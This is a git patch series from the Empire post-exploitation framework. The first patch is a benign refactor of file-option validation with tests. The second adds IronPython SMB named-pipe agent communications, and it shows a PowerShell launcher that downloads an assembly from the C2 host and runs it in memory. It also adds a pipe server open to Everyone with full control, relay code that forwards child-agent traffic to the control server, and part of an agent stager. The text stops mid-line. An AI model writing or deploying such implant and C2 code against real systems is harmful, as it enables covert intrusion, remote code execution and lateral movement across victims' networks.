From 0430ece8a8bb0e015b8fabe3e8725bb1a22e655b Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Tue, 6 Jun 2023 22:22:31 -0700 Subject: [PATCH 01/36] Expand file options (#615) * expand file options to plugins * expand file options to plugins, stagers, and listeners * add additional tests --- CHANGELOG.md | 2 + empire/server/common/empire.py | 4 +- empire/server/core/listener_service.py | 14 +++-- empire/server/core/module_service.py | 30 +--------- empire/server/core/plugin_service.py | 5 +- empire/server/core/stager_service.py | 6 +- empire/server/utils/option_util.py | 66 ++++++++++++++++++++- empire/test/test_obfuscation_api.py | 2 - empire/test/test_option_util.py | 66 ++++++++++++++++++--- empire/test/test_plugin_service.py | 80 ++++++++++++++++++++++++++ 10 files changed, 227 insertions(+), 48 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 327ab0c4e..86cac8e81 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Expand file options to plugins, stagers, and listeners (@Vinnybod) + ## [5.4.2] - 2023-06-07 - Fixed python modules not running properly (Cx01N) diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 52d77d140..66c4b7d72 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -73,9 +73,7 @@ def __init__(self, args=None): self.listeners = listeners.Listeners(self, args=args) self.listenertemplatesv2 = ListenerTemplateService(self) - self.listenersv2 = ListenerService(self) self.stagertemplatesv2 = StagerTemplateService(self) - self.stagersv2 = StagerService(self) self.usersv2 = UserService(self) self.bypassesv2 = BypassService(self) self.obfuscationv2 = ObfuscationService(self) @@ -84,6 +82,8 @@ def __init__(self, args=None): self.hostsv2 = HostService(self) self.processesv2 = HostProcessService(self) self.downloadsv2 = DownloadService(self) + self.listenersv2 = ListenerService(self) + self.stagersv2 = StagerService(self) self.modulesv2 = ModuleService(self) self.agenttasksv2 = AgentTaskService(self) self.agentfilesv2 = AgentFileService(self) diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py index f8ec68f1b..6227f8bf1 100644 --- a/empire/server/core/listener_service.py +++ b/empire/server/core/listener_service.py @@ -7,6 +7,7 @@ from empire.server.core.db import models from empire.server.core.db.base import SessionLocal +from empire.server.core.download_service import DownloadService from empire.server.core.hooks import hooks from empire.server.core.listener_template_service import ListenerTemplateService from empire.server.utils.option_util import set_options, validate_options @@ -21,6 +22,7 @@ def __init__(self, main_menu): self.listener_template_service: ListenerTemplateService = ( main_menu.listenertemplatesv2 ) + self.download_service: DownloadService = main_menu.downloadsv2 # All running listeners. This is the object instances, NOT the database models. # When updating options for a listener, we'll go to the db as the source of truth. @@ -72,7 +74,7 @@ def update_listener(self, db: Session, db_listener: models.Listener, listener_re db_listener.enabled = listener_req.enabled template_instance, err = self._validate_listener_options( - db_listener.module, listener_req.options + db, db_listener.module, listener_req.options ) if err: @@ -89,7 +91,7 @@ def create_listener(self, db: Session, listener_req): listener_req.options["Name"] = listener_req.name template_instance, err = self._validate_listener_options( - listener_req.template, listener_req.options + db, listener_req.template, listener_req.options ) if err: @@ -124,7 +126,7 @@ def start_existing_listener(self, db: Session, listener: models.Listener): options = dict(map(lambda x: (x[0], x[1]["Value"]), listener.options.items())) template_instance, err = self._validate_listener_options( - listener.module, options + db, listener.module, options ) if err: @@ -189,7 +191,7 @@ def _start_listener(self, db: Session, template_instance, template_name): return None, msg def _validate_listener_options( - self, template: str, params: Dict + self, db: Session, template: str, params: Dict ) -> Tuple[Optional[Any], Optional[str]]: """ Validates the new listener's options. Constructs a new "Listener" object. @@ -201,7 +203,9 @@ def _validate_listener_options( return None, f"Listener Template {template} not found" template_instance = self.listener_template_service.new_instance(template) - cleaned_options, err = validate_options(template_instance.options, params) + cleaned_options, err = validate_options( + template_instance.options, params, db, self.download_service + ) if err: return None, err diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index 714d801a9..090b446dc 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -210,17 +210,13 @@ def _validate_module_params( :return: tuple with options and the error message (if applicable) """ converted_options = convert_module_options(module.options) - options, err = validate_options(converted_options, params) - - if err: - return None, err + options, err = validate_options( + converted_options, params, db, self.download_service + ) - files, err = self._get_file_options(db, converted_options, params) if err: return None, err - options.update(files) - if not ignore_language_version_check: module_version = parse(module.min_language_version or "0") agent_version = parse(agent.language_version or "0") @@ -238,26 +234,6 @@ def _validate_module_params( return options, None - def _get_file_options(self, db, options, params): - def lower_default(x): - return "" if x is None else x.lower() - - files = {} - - for option_name, option_meta in filter( - lambda x: lower_default(x[1].get("Type")) == "file", options.items() - ): - db_download = self.download_service.get_by_id(db, params[option_name]) - if not db_download: - return ( - None, - f"File not found for '{option_name}' id {params[option_name]}", - ) - - files[option_name] = db_download - - return files, None - def _generate_script( self, db: Session, diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py index 4f4f60bf0..4d012e75d 100644 --- a/empire/server/core/plugin_service.py +++ b/empire/server/core/plugin_service.py @@ -24,6 +24,7 @@ class PluginService(object): def __init__(self, main_menu): self.main_menu = main_menu + self.download_service = main_menu.downloadsv2 self.loaded_plugins = {} def startup(self): @@ -112,7 +113,9 @@ def execute_plugin( plugin_req: PluginExecutePostRequest, user: Optional[models.User] = None, ): - cleaned_options, err = validate_options(plugin.options, plugin_req.options) + cleaned_options, err = validate_options( + plugin.options, plugin_req.options, db, self.download_service + ) if err: return None, err diff --git a/empire/server/core/stager_service.py b/empire/server/core/stager_service.py index e3e01ebca..4580313ec 100644 --- a/empire/server/core/stager_service.py +++ b/empire/server/core/stager_service.py @@ -8,6 +8,7 @@ from empire.server.core.config import empire_config from empire.server.core.db import models +from empire.server.core.download_service import DownloadService from empire.server.core.listener_service import ListenerService from empire.server.core.stager_template_service import StagerTemplateService from empire.server.utils.option_util import set_options, validate_options @@ -21,6 +22,7 @@ def __init__(self, main_menu): main_menu.stagertemplatesv2 ) self.listener_service: ListenerService = main_menu.listenersv2 + self.download_service: DownloadService = main_menu.downloadsv2 @staticmethod def get_all(db: Session): @@ -52,7 +54,9 @@ def validate_stager_options( return None, f'Listener {params["Listener"]} not found' template_instance = self.stager_template_service.new_instance(template) - cleaned_options, err = validate_options(template_instance.options, params) + cleaned_options, err = validate_options( + template_instance.options, params, db, self.download_service + ) if err: return None, err diff --git a/empire/server/utils/option_util.py b/empire/server/utils/option_util.py index 3ab7370de..62fea2947 100644 --- a/empire/server/utils/option_util.py +++ b/empire/server/utils/option_util.py @@ -1,5 +1,7 @@ import typing +from sqlalchemy.orm import Session + from empire.server.core.module_models import EmpireModuleOption @@ -35,7 +37,9 @@ def convert_module_options(options: typing.List[EmpireModuleOption]) -> typing.D return converted_options -def validate_options(instance_options: typing.Dict, params: typing.Dict): +def validate_options( + instance_options: typing.Dict, params: typing.Dict, db: Session, download_service +): """ Compares the options passed in (params) to the options defined in the class (instance). If any options are invalid, returns a Tuple of @@ -51,7 +55,15 @@ class (instance). If any options are invalid, returns a Tuple of params = params.copy() for instance_key, option_meta in instance_options.items(): - if option_meta.get("Type") == "file": + if _lower_default(option_meta.get("Type")) == "file": + db_download = download_service.get_by_id(db, params[instance_key]) + if not db_download: + return ( + None, + f"File not found for '{instance_key}' id {params[instance_key]}", + ) + + options[instance_key] = db_download continue # Attempt to default a unset required option to the default value @@ -103,11 +115,59 @@ def set_options(instance, options: typing.Dict): instance.options[option_name]["Value"] = option_value +def _lower_default(x): + return "" if x is None else x.lower() + + +def get_file_options(db, download_service, options, params): + files = {} + + for option_name, option_meta in filter( + lambda x: _lower_default(x[1].get("Type")) == "file", options.items() + ): + db_download = download_service.get_by_id(db, params[option_name]) + if not db_download: + return ( + None, + f"File not found for '{option_name}' id {params[option_name]}", + ) + + files[option_name] = db_download + + return files, None + + +def _parse_type(type_str: str = "", value: str = ""): + if not type_str: + return type(value) + + if type_str.lower() in ["int", "integer"]: + return int + elif type_str.lower() in ["bool", "boolean"]: + return bool + elif type_str.lower() in ["str", "string"]: + return str + elif type_str.lower() == "float": + return float + elif type_str.lower() == "file": + return "file" + else: + return None + + def _safe_cast_option( param_name, param_value, option_meta ) -> typing.Tuple[typing.Any, typing.Optional[str]]: option_type = type(param_value) - expected_option_type = option_meta.get("Type") or type(option_meta["Value"]) + if ( + option_meta.get("Type") is not None + and type(option_meta.get("Type")) == typing.Type + ): + expected_option_type = option_meta.get("Type") + else: + expected_option_type = _parse_type( + option_meta.get("Type"), option_meta.get("Value") + ) casted = safe_cast(param_value, expected_option_type) if casted is None: return ( diff --git a/empire/test/test_obfuscation_api.py b/empire/test/test_obfuscation_api.py index fec5aa055..d22e82775 100644 --- a/empire/test/test_obfuscation_api.py +++ b/empire/test/test_obfuscation_api.py @@ -219,8 +219,6 @@ def test_preobfuscate_post(client, admin_auth_header, empire_config): ) # It is run as a background task, but in tests it runs synchronously. - # For some reason on my M1 macbook, this test fails because it does not run - # synchronously. assert response.status_code == 202 module_dir = empire_config.directories.module_source diff --git a/empire/test/test_option_util.py b/empire/test/test_option_util.py index 0a3ff78e3..e7a7b594d 100644 --- a/empire/test/test_option_util.py +++ b/empire/test/test_option_util.py @@ -1,3 +1,5 @@ +from unittest.mock import MagicMock + from empire.server.utils.option_util import safe_cast, validate_options @@ -16,7 +18,7 @@ def test_validate_options_required_strict_success(): "enabled": "True", } - cleaned_options, err = validate_options(instance_options, options) + cleaned_options, err = validate_options(instance_options, options, None, None) assert cleaned_options == options @@ -36,7 +38,7 @@ def test_validate_options_required_strict_failure(): "enabled": "Wrong", } - cleaned_options, err = validate_options(instance_options, options) + cleaned_options, err = validate_options(instance_options, options, None, None) assert cleaned_options is None assert err == "enabled must be set to one of the suggested values." @@ -57,7 +59,7 @@ def test_validate_options_required_empty_failure_doesnt_use_default(): "Command": "", } - cleaned_options, err = validate_options(instance_options, options) + cleaned_options, err = validate_options(instance_options, options, None, None) assert cleaned_options is None assert err == "required option missing: Command" @@ -76,7 +78,7 @@ def test_validate_options_required_missing_uses_default(): options = {} - cleaned_options, err = validate_options(instance_options, options) + cleaned_options, err = validate_options(instance_options, options, None, None) assert cleaned_options == {"Command": "DEFAULT_VALUE"} @@ -90,7 +92,7 @@ def test_validate_options_casts_string_to_int_success(): "Value": "DEFAULT_VALUE", "SuggestedValues": [], "Strict": False, - "Type": int, + "Type": "int", } } @@ -98,7 +100,7 @@ def test_validate_options_casts_string_to_int_success(): "Port": "123", } - cleaned_options, err = validate_options(instance_options, options) + cleaned_options, err = validate_options(instance_options, options, None, None) assert cleaned_options == {"Port": 123} @@ -116,11 +118,61 @@ def test_validate_options_missing_optional_field_no_defauls(): options = {} - cleaned_options, err = validate_options(instance_options, options) + cleaned_options, err = validate_options(instance_options, options, None, None) assert cleaned_options == {"Command": ""} +def test_validate_options_with_file_not_found(db): + instance_options = { + "File": { + "Description": "A File", + "Required": True, + "Strict": False, + "Type": "file", + } + } + + options = { + "File": "9999", + } + + download_service_mock = MagicMock() + download_service_mock.get_by_id.return_value = None + + cleaned_options, err = validate_options( + instance_options, options, db, download_service_mock + ) + + assert cleaned_options is None + assert err == "File not found for 'File' id 9999" + + +def test_validate_options_with_file(db, models): + instance_options = { + "File": { + "Description": "A File", + "Required": True, + "Strict": False, + "Type": "file", + } + } + + options = { + "File": "9999", + } + + download = models.Download(id=9999, filename="test_file", location="/tmp/test_file") + download_service_mock = MagicMock() + download_service_mock.get_by_id.return_value = download + + cleaned_options, err = validate_options( + instance_options, options, db, download_service_mock + ) + + assert cleaned_options["File"] == download + + def test_safe_cast_string(): assert safe_cast("abc", str) == "abc" diff --git a/empire/test/test_plugin_service.py b/empire/test/test_plugin_service.py index 4668639b1..5b746422e 100644 --- a/empire/test/test_plugin_service.py +++ b/empire/test/test_plugin_service.py @@ -15,6 +15,14 @@ def patch_plugin_execute(plugin, execute_func): plugin.execute = old_execute +@contextmanager +def patch_plugin_options(plugin, options): + old_options = plugin.options + plugin.options = options + yield + plugin.options = old_options + + @contextmanager def temp_copy_plugin(plugin_path): """ @@ -88,3 +96,75 @@ def execute(options, **kwargs): res, err = plugin_service.execute_plugin("db_session", plugin, req, 1) assert res == execute(req.options, db="db_session", user=1) + + +def test_execute_plugin_file_option_not_found(install_path, db): + from empire.server.core.plugin_service import PluginService + + main_menu_mock = MagicMock() + main_menu_mock.installPath = install_path + + main_menu_mock.downloadsv2 = MagicMock() + main_menu_mock.downloadsv2.get_by_id.return_value = None + + plugin_service = PluginService(main_menu_mock) + plugin_service.startup() + + plugin = plugin_service.get_by_id("basic_reporting") + + with patch_plugin_options( + plugin, + { + "file_option": { + "Name": "file_option", + "Description": "File option", + "Type": "File", + "Strict": False, + "Required": True, + } + }, + ): + req = PluginExecutePostRequest(options={"file_option": 9999}) + res, err = plugin_service.execute_plugin(db, plugin, req, None) + + assert err == "File not found for 'file_option' id 9999" + + +def test_execute_plugin_file_option(install_path, db, models): + from empire.server.core.plugin_service import PluginService + + main_menu_mock = MagicMock() + main_menu_mock.installPath = install_path + + download = models.Download(id=9999, filename="test_file", location="/tmp/test_file") + main_menu_mock.downloadsv2 = MagicMock() + main_menu_mock.downloadsv2.get_by_id.return_value = download + + plugin_service = PluginService(main_menu_mock) + plugin_service.startup() + + plugin = plugin_service.get_by_id("basic_reporting") + + mocked_execute = MagicMock() + mocked_execute.return_value = "success" + + with patch_plugin_options( + plugin, + { + "file_option": { + "Name": "file_option", + "Description": "File option", + "Type": "File", + "Strict": False, + "Required": True, + } + }, + ), patch_plugin_execute(plugin, mocked_execute): + req = PluginExecutePostRequest(options={"file_option": "9999"}) + res, err = plugin_service.execute_plugin(db, plugin, req, None) + + assert err is None + assert res == "success" + mocked_execute.assert_called_once_with( + {"file_option": download}, db=db, user=None + ) From 82d5dd13b4558ea7ebe4c487c87845869e192c78 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 7 Jun 2023 19:35:51 -0400 Subject: [PATCH 02/36] IronPython SMB comms (#569) * started work on smb listener * more fixes for smb listener * updated smb listener with new redirector stucture fixes * smb agents communicating no server connection * data between agents and to server - no push * read/write p2p working * beacon and checkin working * working smb agent - needs cleanup * fixed stageless payloads for python * updated smb options to select agent * fixed start to use agent vs name option * fixed staged vs stageless for ironpython * fixed staged agent * updated smb task to restart on disconnect * reverted missing pipe_writer * fixed template issue with hostname * formatting * fixed merge conflicts on agent restart * startup change * fixes * added full copy for agent in options * reverted launcher changes * formatting * removed smb_data from agents * added dynamic pipe names * reduced cpu usage * working python smb stagining * cleaned up code * formatting * moved http comms out of main agent to be modular * removed debug statements * fixed staged smb agent with hop name * formatting * added comments and fixed staging issue * chained smb agents received broken pipe error * testing starkiller 2.0.1 * formatting * fixed default response issue * fixed formatting * fixed stageless issue * possibly working chained smb * issue with staging second smb agent * working staged smb agents, need to fix crashing executable * not actually working, stages normal agent if hop doesnt exist * reverted changes * staging for chain still not working * added stageless for hop call to http * stagless with multi-to-one working with smb * updated changelog and formatting * Update empire/server/listeners/smb.py Co-authored-by: Vincent Rose * Update empire/server/stagers/multi/launcher.py Co-authored-by: Vincent Rose * Update empire/server/listeners/smb.py Co-authored-by: Vincent Rose * fixes * fixes for vinnybod * fixed wrong listener name for ironpython hop * added 1 sec delay to lower cpu usage of agent * removed unused shutdown functions --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 1 + empire/server/common/packets.py | 1 + empire/server/common/stagers.py | 11 +- empire/server/core/agent_task_service.py | 8 + empire/server/core/listener_service.py | 1 + .../Covenant/Models/Grunts/GruntTask.cs | 4 + empire/server/data/agent/ironpython_agent.py | 85 ++- .../server/data/agent/stagers/http/comms.py | 36 ++ .../server/data/agent/stagers/smb/__init__.py | 0 empire/server/data/agent/stagers/smb/comms.py | 110 ++++ empire/server/data/agent/stagers/smb/smb.py | 114 ++++ empire/server/listeners/http.py | 75 ++- empire/server/listeners/smb.py | 486 ++++++++++++++++++ empire/server/stagers/multi/launcher.py | 11 +- 14 files changed, 907 insertions(+), 36 deletions(-) create mode 100644 empire/server/data/agent/stagers/smb/__init__.py create mode 100644 empire/server/data/agent/stagers/smb/comms.py create mode 100644 empire/server/data/agent/stagers/smb/smb.py create mode 100755 empire/server/listeners/smb.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 86cac8e81..001ec6d78 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Added IronPython SMB Agents/Listener (@Cx01N) - Expand file options to plugins, stagers, and listeners (@Vinnybod) ## [5.4.2] - 2023-06-07 diff --git a/empire/server/common/packets.py b/empire/server/common/packets.py index 1384058a1..23afe8365 100644 --- a/empire/server/common/packets.py +++ b/empire/server/common/packets.py @@ -102,6 +102,7 @@ "TASK_STOPJOB": 51, "TASK_SOCKS": 60, "TASK_SOCKS_DATA": 61, + "TASK_SMB_SERVER": 70, # Agent Module Commands "TASK_CMD_WAIT": 100, "TASK_CMD_WAIT_SAVE": 101, diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index c57e28bd6..c2890b3b2 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -203,13 +203,22 @@ def generate_exe_oneliner( Generate a oneliner for a executable """ listener = self.mainMenu.listenersv2.get_active_listener_by_name(listener_name) + + if getattr(listener, "parent_listener", None) is not None: + hop = listener.options["Name"]["Value"] + while getattr(listener, "parent_listener", None) is not None: + listener = self.mainMenu.listenersv2.get_active_listener_by_name( + listener.parent_listener.name + ) + else: + hop = "" host = listener.options["Host"]["Value"] launcher_front = listener.options["Launcher"]["Value"] # Encoded launcher requires a sleep launcher = f""" $wc=New-Object System.Net.WebClient; - $bytes=$wc.DownloadData("{host}/download/{language}/"); + $bytes=$wc.DownloadData("{host}/download/{language}/{hop}"); $assembly=[Reflection.Assembly]::load($bytes); $assembly.GetType("Program").GetMethod("Main").Invoke($null, $null); """ diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index 2737da9a7..d1f12745e 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -208,6 +208,14 @@ def create_task_socks( def create_task_socks_data(self, agent_id: str, data: str): return self.add_temporary_task(agent_id, "TASK_SOCKS_DATA", data) + def create_task_smb( + self, db, agent: models.Agent, pipe_name, current_user_id: int = 0 + ): + resp, err = self.add_task( + db, agent, "TASK_SMB_SERVER", pipe_name, user_id=current_user_id + ) + return resp, err + def create_task_update_comms( self, db: Session, agent: models.Agent, new_listener_id: int, user_id: int ): diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py index 6227f8bf1..3ca0b004a 100644 --- a/empire/server/core/listener_service.py +++ b/empire/server/core/listener_service.py @@ -130,6 +130,7 @@ def start_existing_listener(self, db: Session, listener: models.Listener): ) if err: + log.error(err) return None, err success = template_instance.start(name=listener.name) diff --git a/empire/server/csharp/Covenant/Models/Grunts/GruntTask.cs b/empire/server/csharp/Covenant/Models/Grunts/GruntTask.cs index 8aaeaf1ae..eda67c971 100755 --- a/empire/server/csharp/Covenant/Models/Grunts/GruntTask.cs +++ b/empire/server/csharp/Covenant/Models/Grunts/GruntTask.cs @@ -282,6 +282,8 @@ private void CompileDotNet35() References = references35, EmbeddedResources = resources, UnsafeCompile = this.UnsafeCompile, + // TODO: Add debug option + // OutputKind = OutputKind.ConsoleApplication, OutputKind = OutputKind.WindowsApplication, Confuse = this.Confuse, // TODO: Fix optimization to work with GhostPack @@ -366,6 +368,8 @@ private void CompileDotNet40() References = references40, EmbeddedResources = resources, UnsafeCompile = this.UnsafeCompile, + // TODO: Add debug option + // OutputKind = OutputKind.ConsoleApplication, OutputKind = OutputKind.WindowsApplication, Confuse = this.Confuse, // TODO: Fix optimization to work with GhostPack. It also doesn't work with Sharpire. Not sure if this actuall works with anything... diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py index d9b207041..925969e0b 100644 --- a/empire/server/data/agent/ironpython_agent.py +++ b/empire/server/data/agent/ironpython_agent.py @@ -114,8 +114,7 @@ def decode_routing_packet(data): # if meta == 'SERVER_RESPONSE': process_tasking(encData) else: - # TODO: how to handle forwarding on other agent routing packets? - pass + smb_server_queue.Enqueue(base64.b64encode(data).decode('UTF-8')) def build_response_packet(taskingID, packetData, resultID=0): @@ -445,7 +444,6 @@ def process_packet(packetType, data, resultID): strmprop = assembly.GetType("Task").GetProperty("OutputStream") if not strmprop: - print("no output pipe") results = ( assembly.GetType("Task").GetMethod("Execute").Invoke(None, params) ) @@ -465,7 +463,6 @@ def csharp_job_func(decoded_data, params, pipeClientStream): ) pipeClientStream.Dispose() - print("output pipe") clr.AddReference("System.Core") import System.IO.HandleInheritability import System.IO.Pipes @@ -573,6 +570,84 @@ def csharp_job_func(decoded_data, params, pipeClientStream): elif packetType == 61: _socksqueue.put(base64.b64decode(data.encode("UTF-8"))) + elif packetType == 70: + # Pipe Server + import sys + import threading + import time + + import clr + clr.AddReference('System.Core') + import System.IO.HandleInheritability + clr.AddReference("System.IO.Pipes") + import System.Collections.Generic + import System.IO.Pipes + from System.IO.Pipes import ( + NamedPipeServerStream, + PipeAccessRights, + PipeAccessRule, + PipeDirection, + PipeSecurity, + PipeTransmissionMode, + ) + from System.Security.AccessControl import AccessControlType + + parts = data.split("|") + hop_name = parts[0] + pipe_name = parts[1] + + def pipe_data_server(pipe_server, hop_name): + while True: + time.sleep(1) + pipe_reader = System.IO.StreamReader(pipe_server) + received_data = pipe_reader.ReadLine() + try: + if received_data[0] == '0': + response = send_results_for_child(received_data) + elif received_data[0] == '1': + response = send_get_tasking_for_child(received_data) + elif received_data[0] == '2': + response = send_staging_for_child(received_data, hop_name) + + try: + pipe_writer = System.IO.StreamWriter(pipe_server) + response = base64.b64encode(response).decode('UTF-8') + pipe_writer.WriteLine(response) + pipe_writer.Flush() + except: + pass + + try: + while smb_server_queue.Count > 0: + response = smb_server_queue.Peek() + smb_server_queue.Dequeue() + pipe_writer = System.IO.StreamWriter(pipe_server) + pipe_writer.WriteLine(response) + pipe_writer.Flush() + except: + pass + + except Exception as e: + print(e) + break + + def server_thread_function(pipe_name, hop_name): + security = PipeSecurity() + rule = PipeAccessRule('Everyone', PipeAccessRights.FullControl, AccessControlType.Allow) + security.AddAccessRule(rule) + + while True: + pipe_server = NamedPipeServerStream(pipe_name, PipeDirection.InOut, 10, PipeTransmissionMode.Message, + 0, 1024, 1024, security) + pipe_server.WaitForConnection() + pipe_data_server(pipe_server, hop_name) + pipe_server.Dispose() + time.sleep(1) + + server_thread = KThread(target=server_thread_function, args=(pipe_name, hop_name,)) + server_thread.daemon = True + server_thread.start() + elif packetType == 100: # dynamic code execution, wait for output, don't save output try: @@ -1508,7 +1583,7 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True): 0, str("[!] Failed to check job buffer!: " + str(e)) ) process_job_tasking(result) - if data.strip() == defaultResponse.strip(): + if data.strip() == defaultResponse.strip() or data == base64.b64encode(defaultResponse): missedCheckins = 0 else: decode_routing_packet(data) diff --git a/empire/server/data/agent/stagers/http/comms.py b/empire/server/data/agent/stagers/http/comms.py index d59ab6b82..10c11b56f 100644 --- a/empire/server/data/agent/stagers/http/comms.py +++ b/empire/server/data/agent/stagers/http/comms.py @@ -2,12 +2,47 @@ def post_message(uri, data): global headers return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read() + def update_proxychain(proxy_list): setdefaultproxy() # Clear the default chain for proxy in proxy_list: addproxy(proxytype=proxy['proxytype'], addr=proxy['addr'], port=proxy['port']) + +def send_results_for_child(received_data): + """ + Forwards the results of a tasking to the control server. + """ + headers['Cookie'] = "session=%s" % (received_data[1:]) + taskURI = random.sample(taskURIs, 1)[0] + requestUri = server + taskURI + response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, headers))).read() + return response + + +def send_get_tasking_for_child(received_data): + """ + Forwards the get tasking to the control server. + """ + decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) + taskURI = random.sample(taskURIs, 1)[0] + requestUri = server + taskURI + response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, headers))).read() + return response + + +def send_staging_for_child(received_data, hop_name): + """ + Forwards the staging request to the control server. + """ + postURI = server + "/login/process.php" + headers['Hop-Name'] = hop_name + decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) + response = (urllib.request.urlopen(urllib.request.Request(postURI, decoded_data, headers))).read() + return response + + def send_message(packets=None): # Requests a tasking or posts data to a randomized tasking URI. # If packets == None, the agent GETs a tasking from the control server. @@ -53,6 +88,7 @@ def send_message(packets=None): return (URLerror.reason, '') return ('', '') + # update servers server = '{{ host }}' if server.startswith("https"): diff --git a/empire/server/data/agent/stagers/smb/__init__.py b/empire/server/data/agent/stagers/smb/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/empire/server/data/agent/stagers/smb/comms.py b/empire/server/data/agent/stagers/smb/comms.py new file mode 100644 index 000000000..42ca8e7ce --- /dev/null +++ b/empire/server/data/agent/stagers/smb/comms.py @@ -0,0 +1,110 @@ +import base64 +import sys +import threading +import time + +import clr + +clr.AddReference('System.Core') +clr.AddReference("System.IO.Pipes") +import System.Collections.Generic +import System.IO.Pipes +import System.Threading +from System.IO.Pipes import ( + NamedPipeServerStream, + PipeDirection, + PipeOptions, + PipeTransmissionMode, +) +from System.Security.Principal import TokenImpersonationLevel + +# Create a queue to hold data to be sent through the pipe +smb_server_queue = System.Collections.Generic.Queue[str]() +send_queue = System.Collections.Generic.Queue[str]() +receive_queue = System.Collections.Generic.Queue[str]() + +# Connect to the named pipe +pipe_name = "{{ pipe_name }}" +host = "{{ host }}" +pipe_client = System.IO.Pipes.NamedPipeClientStream(host, pipe_name, PipeDirection.InOut, 0, + TokenImpersonationLevel.Impersonation) +# Connect to the server +pipe_client.Connect() + +def send_results_for_child(received_data): + """ + Forwards the results of a tasking to the pipe server. + """ + send_queue.Enqueue(received_data) + return b'' + +def send_get_tasking_for_child(received_data): + """ + Forwards the get tasking to the pipe server. + """ + send_queue.Enqueue(received_data) + return b'' + +def send_staging_for_child(received_data, hop_name): + """ + Forwards the staging request to the pipe server. + """ + send_queue.Enqueue(received_data) + return b'' + +# Function to run in the separate thread to handle the named pipe connection +def pipe_thread_function(): + while True: + time.sleep(1) + if send_queue.Count > 0: + pipe_writer = System.IO.StreamWriter(pipe_client) + pipe_writer.WriteLine(send_queue.Peek()) + pipe_writer.Flush() + send_queue.Dequeue() + + recv_pipe_reader = System.IO.StreamReader(pipe_client) + received_data = recv_pipe_reader.ReadLine() + receive_queue.Enqueue(received_data) + +# Create and start the separate thread for the named pipe connection +pipe_thread = threading.Thread(target=pipe_thread_function) +pipe_thread.daemon = True +pipe_thread.start() + +def send_message(packets=None): + global missedCheckins + global server + global headers + global taskURIs + data = None + + if packets: + encData = aes_encrypt_then_hmac(key, packets) + data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) + data = base64.b64encode(data).decode('UTF-8') + send_queue.Enqueue("1" + data) + else: + routingPacket = build_routing_packet(stagingKey, sessionID, meta=4) + b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') + send_queue.Enqueue("0" + b64routingPacket) + + while receive_queue.Count > 0: + data = receive_queue.Peek() + data = base64.b64decode(data) + receive_queue.Dequeue() + + try: + send_job_message_buffer() + except Exception as e: + result = build_response_packet( + 0, str("[!] Failed to check job buffer!: " + str(e)) + ) + process_job_tasking(result) + if data.strip() == defaultResponse.strip() or data == base64.b64encode(defaultResponse): + missedCheckins = 0 + else: + decode_routing_packet(data) + if data: + return '200', data + else: + return '', '' \ No newline at end of file diff --git a/empire/server/data/agent/stagers/smb/smb.py b/empire/server/data/agent/stagers/smb/smb.py new file mode 100644 index 000000000..abf39af51 --- /dev/null +++ b/empire/server/data/agent/stagers/smb/smb.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 + +""" +This file is a Jinja2 template. + Variables: + working_hours + kill_date + staging_key + profile +""" + +import base64 +import random +import string + +{% include 'common/rc4.py' %} +{% include 'common/aes.py' %} +{% include 'common/diffiehellman.py' %} +{% include 'common/get_sysinfo.py' %} +{% include 'smb/comms.py' %} + + +# generate a randomized sessionID +sessionID = b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8)) + +# server configuration information +stagingKey = b'{{ staging_key }}' +profile = '{{ profile }}' +WorkingHours = '{{ working_hours }}' +KillDate = '{{ kill_date }}' +server = '' + +parts = profile.split('|') +taskURIs = parts[0].split(',') +userAgent = parts[1] +headersRaw = parts[2:] + +# global header dictionary +# sessionID is set by stager.py +# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)} +headers = {'User-Agent': userAgent} + +# parse the headers into the global header dictionary +for headerRaw in headersRaw: + try: + headerKey = headerRaw.split(":")[0] + headerValue = headerRaw.split(":")[1] + if headerKey.lower() == "cookie": + headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue) + else: + headers[headerKey] = headerValue + except: + pass + +# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server +clientPub=DiffieHellman() +public_key = str(clientPub.publicKey).encode('UTF-8') +hmacData=aes_encrypt_then_hmac(stagingKey,public_key) + +# RC4 routing packet: +# meta = STAGE1 (2) +routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData) + +#try: +#postURI = server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}" +# response = post_message(postURI, routingPacket+hmacData) +b64routingPacket = 